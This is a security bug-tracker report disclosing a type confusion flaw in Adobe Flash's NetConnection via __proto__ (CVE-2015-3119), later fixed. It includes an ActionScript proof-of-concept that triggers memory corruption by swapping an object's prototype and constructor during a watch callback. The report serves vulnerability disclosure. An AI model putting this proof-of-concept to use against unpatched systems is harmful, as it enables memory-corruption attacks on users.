New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users
Status: Fixed
Owner:
Email to this user bounced
Closed: Jul 2015
Cc:



Sign in to add a comment
Adobe Flash: Type Confusion in NetConnection with __proto__
Project Member Reported by natashenka@google.com, Apr 21 2015 Back to list
If an object has the type Object, but has a NetConnection object as a __proto__, it passes the type checks in NetConnection, so long as it isn't an ASNative method. If NetConnection.connect is called on this object, it will pass this check, but then potentially call into script when the uri member is set (if there's a watch on uri). If this method calls a constructor on the object, it will be set to a different type (the checks in the constructor will pass because it is of type Object), and then NetConnection.connect will set the user data to a NetConnection object, leading to type confusion.

A PoC is as follows:

class mysubclass {

	public var uri;

	function mysubclass(){
		

		this.uri = "test";
		var n = new NetConnection();
		var y;
		this.watch("uri", func);
		var f = n.connect;
		this["__proto__"] = n;
		f.call(this, y);
		var b = new BitmapData(10, 10, true, 10);
		b.setPixel.call(this, 10, 10, 10);		
		}

function func(a, b, c){
		trace("ftop");
		this.__proto__ = {};
		this.__proto__.__constructor__ = flash.display.BitmapData;
		trace("in func");
		super(10, 10, false, 10);
	
	}

	
	
	}
	

This PoC only works on Linux (I think this is due to to when GC happens, not the bug being Linux-specific though). A swf is also attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
mysubclass.as
565 bytes Download
super2.swf
1.1 KB Download
super2.fla
5.4 KB Download
Comment 1 by cevans@google.com, Apr 24 2015
Labels: -Reported-2015-Apr-21 Reported-2015-Apr-24
Comment 2 by cevans@google.com, Apr 25 2015
Labels: Id-3611
Comment 3 by cevans@google.com, Jul 5 2015
Labels: CVE-2015-3119
Comment 4 by cevans@google.com, Jul 9 2015
Labels: Fixed-2015-Jul-8
Status: Fixed
Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html
Project Member Comment 5 by natashenka@google.com, Aug 3 2015
Labels: -Restrict-View-Commit
Sign in to add a comment